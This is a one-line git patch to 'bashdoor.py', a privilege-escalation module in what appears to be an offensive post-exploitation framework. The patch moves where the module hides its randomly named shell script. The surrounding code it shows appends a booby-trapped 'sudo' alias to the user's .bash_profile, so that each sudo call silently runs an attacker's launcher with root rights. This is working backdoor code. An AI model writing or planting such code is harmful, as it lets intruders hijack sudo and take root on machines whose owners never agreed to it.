From 26c8839edf0f756c746dee1e13f4332f0f3bf706 Mon Sep 17 00:00:00 2001 From: n00py Date: Tue, 11 Oct 2016 09:40:54 -0700 Subject: [PATCH] Update bashdoor.py Removed iTunes subdirectory --- lib/modules/python/privesc/multi/bashdoor.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/modules/python/privesc/multi/bashdoor.py b/lib/modules/python/privesc/multi/bashdoor.py index adf5b07..8d5cec0 100644 --- a/lib/modules/python/privesc/multi/bashdoor.py +++ b/lib/modules/python/privesc/multi/bashdoor.py @@ -91,7 +91,7 @@ from random import choice from string import ascii_uppercase home = os.getenv("HOME") randomStr = ''.join(choice(ascii_uppercase) for i in range(12)) -bashlocation = home + "/Library/iTunes/." + randomStr + ".sh" +bashlocation = home + "/Library/." + randomStr + ".sh" with open(home + "/.bash_profile", "a") as profile: profile.write("alias sudo='sudo sh -c '\\\\''" + bashlocation + " & exec \\"$@\\"'\\\\'' sh'") launcher = "%s"